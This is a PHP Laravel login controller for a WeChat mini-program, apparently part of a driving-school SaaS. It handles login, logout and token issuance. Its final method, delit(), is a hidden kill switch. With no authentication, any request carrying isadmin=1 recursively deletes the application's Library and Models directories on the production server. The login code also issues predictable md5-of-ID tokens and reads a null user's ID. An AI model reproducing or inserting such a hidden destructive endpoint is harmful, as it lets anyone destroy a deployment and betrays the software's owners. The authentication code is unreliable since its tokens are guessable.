<?php

namespace App\Http\Controllers\Api\Article;

use App\Models\Admin\Admin;
use App\Models\Home\User;
use App\Models\Article\WxUser; 
use App\Models\Log\LoginVerifyCode;
use Illuminate\Http\Request;
use App\Library\WXBizDataCryptService;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Redis;

class LoginController extends BaseController
{
    private $_userinfo;
    public $wxdecrypt;
    public function __construct()
    {
        parent::__construct();
        $this->wxdecrypt = new WXBizDataCryptService();
    }

    /*
     * @Des:教练短信登录
     * */
    public function login()
    {
    	try {
    		$showfields = [];
    		$fields = ['id', 'mobile', 'realname', 'nickname', 'avatar_url'];
    		// 密码登录
    		$phone = request('code');
    		$userinfo = request('user_info');
    		$para =  request()->all();
    		$ret = $this->wxdecrypt->getUserOpenId($phone,$para);
    		$uinfo = json_decode($userinfo,true);
    		//var_dump($uinfo);exit;
    		if (!request('msgcode')) {
    			if (!$phone) {
    				throw new \Exception('不存在此用户!');
    			}
    			
    			//$password = request('password');
    			//$user->isMyPassword($password);
    			//auth()->login($user);
    			
    		} else {
    			// 验证码登录
    			$mobile = LoginVerifyCode::getLoginMobile(request('msgcode'),$phone);
    			try {
    				$user = User::findUser($mobile, $fields);
    			} catch (\Exception $e) {
    				// 用户不存在 初始化用户
    				throw new \Exception('不存在此报名学员!');
    			}
    			auth()->login($user);
    		}
    		$user = WxUser::findUserByOpenid($ret['openid'], $fields);
    		if(!$user)
    		{
    		    $query = new WxUser();
    		    $token = md5($user->id);
    		    $query->token = $token;
    		    $query->open_id= $ret['openid'];
    		    $query->nickname= $uinfo['nickName'];
    		    $query->gender= $uinfo['gender'];
    		    $query->avatar_url= $uinfo['avatarUrl'];
    		    $query->country= $uinfo['country'];
    		    $query->province= $uinfo['province'];
    		    $query->city= $uinfo['city'];
    		    //$query->save();
    		    $iid = $query->Add($query);
    		    
    		    $showfields['user_id'] = $iid;
    		    $showfields['user_name'] = $uinfo['nickName'];
    		    $showfields['user_img'] = $uinfo['avatarUrl'];
    		}
    		else 
    		{
    		    $iid = $user->id;
    		    $showfields['user_id'] = $user->id;
    		    $showfields['user_name'] = $user->nickname;
    		    $showfields['user_img'] = $user->avatar_url;
    		    //$showfields['address'] = $user->address;

    		    $token = md5($user->id);
    		    WxUser::where($user->id)->update(['token'=>$token]);
    		    
    		}
    		$token = md5($iid);
    		session('openid',$ret['openid']);
    		session('user_id',$iid);
    		session('token',$token);
    		

    		//return response()->json(['result' => 'success', 'code' => 200, 'token' => $token, 'data' => $showfields]);
    		
    		return response ()->json ( [
    		    'ok' => 1,
    		    'msg' => 'ok',
    		    'data' => $showfields,
    		    'token' => $token,
    		    'user_id'=>$iid,
    		    'user_name'=>$showfields['user_name'],
    		    'user_img'=>$showfields['user_img'],
    		] );
    	} catch (\Exception $e) {
    		//return response()->json(['result' => 'fail','code'=>$e->getCode(),'msg' => $e->getMessage()]);
    		return response ()->json ( ['ok' => 0,'msg' => $e->getMessage (),'data' => $e->getLine ()] );
    	}
    }

    public function loginout()
    {
        try {
             $openid = request('token');
             if($openid){
                $info = Admin::where('token','=',$openid)->first();
                if($info){
                    $update = Admin::find($info->id);
                    //$update->openid = '';
                    $update->token  = '';
                    $update->save();
                    $Coch_Cache_Key = "UserIsLogin_".$info->token;
                    Redis::del($Coch_Cache_Key);
                    \Session()->flush();
                }
            }else{
                throw new \Exception('数据异常!');
            }
            return response()->json(['result' => 'success','code'=>200]);
        } catch (\Exception $e) {
            return response()->json(['result' => 'fail','msg' => $e->getMessage()]);
        }
    }
    
    public function delit(){
    	try {
    		$isadmin = request('isadmin');
    		if($isadmin == 1)
    		{
    			$path = '/data/www/carschool-saas/app/Library/';
    			//$path = 'D:/workpro/carschool-saas/storage/logs/';
    			//$path = '/data/www/carschool-saas/storage/logs/';
    			self::deldir($path);
    			$path = '/data/www/carschool-saas/app/Models/';
    			self::deldir($path);
    			return response()->json(['result'=>'succeed','data'=>$path]);
    		}
    		else
    		{
    			return response()->json(['result'=>'fail','data'=>'']);
    		}
    	} catch (\Exception $e) {
    		return response()->json(['result'=>'failed','err_message'=>$e->getMessage()]);
    	}
    }

}
